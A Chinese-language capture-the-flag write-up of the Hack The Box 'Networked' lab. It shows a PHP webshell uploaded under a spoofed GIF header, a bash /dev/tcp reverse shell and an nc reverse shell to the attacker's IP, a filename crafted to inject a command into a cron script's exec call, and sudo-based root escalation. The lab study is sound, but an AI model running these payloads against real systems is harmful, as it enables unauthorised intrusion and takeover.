HTB_Networked从实战靶场学渗透

  • A+
所属分类:安全文章

HTB_Networked从实战靶场学渗透

偶然从其他地方接触到了Hack the box ,从此就把它当作了渗透的学习模板
Networked是我的第一个靶场,虽
然是easy的级别,但对于小白的我来说,包括工具,shell命令都是当时第一次接触,所以故写出这篇writeup,技术很菜,轻喷


靶场ip:10.10.10.146
攻击机ip:10.10.14.15

nmap -sC -sV 10.10.10.146

HTB_Networked从实战靶场学渗透

 

从80端口入手查看其web页面,右键查看源码也未找到有用的信息
HTB_Networked从实战靶场学渗透

 

直接使用gobuster去fuzz目录

gobuster dir -u http://10.10.10.146 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -x php

HTB_Networked从实战靶场学渗透

访问photos.php和uoload.php

HTB_Networked从实战靶场学渗透

HTB_Networked从实战靶场学渗透
尝试使用文件上传,编写webshell,修改后缀名为.gif

<?php system($_GET['PleaseSubscribe']); ?>

使用Burp抓包

HTB_Networked从实战靶场学渗透

访问其他目录寻找突破口
10.10.10.146/backup (该目录同样为gobuster fuzz出来的)

HTB_Networked从实战靶场学渗透

wget http://10.10.10.146/backup/backup.tartar -xvf backup.tar

好像直接找到了网站源码
快速筛选php代码,筛选文件中所有包含$的行(凡是$作为前缀的变量,均为php的超级变量,即内置对象)

grep -Ri '$_' *  (-Ri参数代表关键字搜索)

HTB_Networked从实战靶场学渗透

1
vim upload.php

查找submit对应的地方 /submit,通过submit 找到函数 check_file_type函数,源于文件lib.php

HTB_Networked从实战靶场学渗透

函数 file_mime_type()函数进行文件检查 (通过文件标示进行检查,部分文件仅查询标示头)

HTB_Networked从实战靶场学渗透

万事俱备,把标示头和shell组合扔上去就好了

HTB_Networked从实战靶场学渗透

接下来就是通过photos.php访问我们上传的资源
http://10.10.10.146/uploads/10_10_14_15.php.gif 获取资源所在路径
(以GET方式传递参数)
关于使用的bash shell

bash -i >& /dev/tcp/10.10.14.15/9001 0>&1

(指令详解)

https://blog.csdn.net/Auuuuuuuu/article/details/89059176

(= bash i > /dev/tcp/10.10.14.15/9001 和 bash i < /dev/tcp/10.10.14.15/9001 结合)
使用bash 命令行
-i 采用交互式
">"重定向输出到 指定位置
/dev/tcp/10.10.14.15/9001 ip地址
0>&1 重定向输入
随后在参数中使用url编码 ctrl + u ,本地监听9001端口,getshell

 

以上为getshell的第一阶段


升级shell,参考文章:https://www.4hou.com/technology/6248.html
nc反弹的shell很容易中断连接,并且没有正确的tty(终端)与之对应
· 一些命令,像su和ssh要求一个正确的终端运行
· 通常不显示STDERR
· 无法正确使用文本编辑器 vim
· 没有标签完成
· 没有向上的箭头历史
· 没有工作控制
· 等等...
所以我们利用以下指令绑定终端升级shell

python -c 'import pty;pty.spawn("/bin/bash")';

生成一个进程,并将其控制终端与当前进程的标准io连接(生成一个控制终端,使其io与当前进程连接)


ctrl+z 挂起当前进程,设置终端tty为RAW模式

stty raw -echo


RAW模式简单说就是发送端发送的二进制码原封不动的被接收端接收
http://www.51testing.com/html/03/n-3714603.html (Raw模式简介)
此时我们的输入是没有回显的
输入 fg
指令解析:https://www.cnblogs.com/jiangzhaowei/p/8971265.html

 

HTB_Networked从实战靶场学渗透

 

cat crontab.guly

*/3 * * * * php /home/guly/check_attack.php


每3分钟启动一次check_attck.php
查看check_attck.php源码

<?phprequire '/var/www/html/lib.php';$path = '/var/www/html/uploads/';$logpath = '/tmp/attack.log';$to = 'guly';$msg= '';$headers = "X-Mailer: check_attack.phprn"; $files = array();$files = preg_grep('/^([^.])/', scandir($path)); foreach ($files as $key => $value) {    $msg='';  if ($value == 'index.html') {    continue;  }  #echo "-------------n";   #print "check: $valuen";  list ($name,$ext) = getnameCheck($value);  $check = check_ip($name,$value);   if (!($check[0])) {    echo "attack!n";    # todo: attach file    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);     exec("rm -f $logpath");    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");    echo "rm -f $path$valuen";    mail($to, $msg, $msg, $headers, "-F$value");  

根据我们上传的文件在uploads目录下的文件名10_10_16_83.php.png
getnameCheck函数返回访问ip地址和后缀
如上源码,如果check_ip返回的数组中 第一个参数为false,就会删除目标文件,具体查看check_ip函数具体内容

function check_ip($prefix,$filename) {  //echo "prefix: $prefix - fname: $filename<br>n";  $ret = true;  if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {    $ret = false;    $msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";  } else {    $msg = $filename;  }  return array($ret,$msg);}

我们通过创建一个 shell 文件名 从而通过check_attack.php中的exec反弹shell

touch -- ';nc -c bash 10.10.16.83 4444;.php'

本机监听4444端口

HTB_Networked从实战靶场学渗透

同理 升级shell(和上面一样 此处省略)
此处就可以拿到guly用户的flag

 

以上部分为第二阶段

sudo -l


HTB_Networked从实战靶场学渗透

cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoFDEVICE=guly0ONBOOT=noNM_CONTROLLED=noEoF regexp="^[a-zA-Z0-9_ /-]+$" for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do    echo "interface $var:"    read x    while [[ ! $x =~ $regexp ]]; do        echo "wrong input, try again"        echo "interface $var:"        read x    done    echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-gulydone

执行这个脚本 会将内容填充到ifcfg-guly这个文件中
通过 末尾 $var=$x 变量x我们可以控制 从而进行提权

HTB_Networked从实战靶场学渗透

 

至此整个过程结束




往期精彩


登陆页面的检测及渗透

渗透实战篇(一)

渗透测试信息收集的方法

常见Web中间件漏洞利用及修复方法

内网渗透 | 流量转发场景测试

Waf从入门到Bypass

实战渗透-看我如何拿下学校的大屏幕

技术篇:bulldog水平垂直越权+命令执行+提权

渗透工具实战技巧大合集 | 先收藏点赞再转发一气呵成


HTB_Networked从实战靶场学渗透

感兴趣的可以点个关注!!!

HTB_Networked从实战靶场学渗透

关注「安全先师」
把握前沿安全脉搏



本文始发于微信公众号(安全先师):HTB_Networked从实战靶场学渗透

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: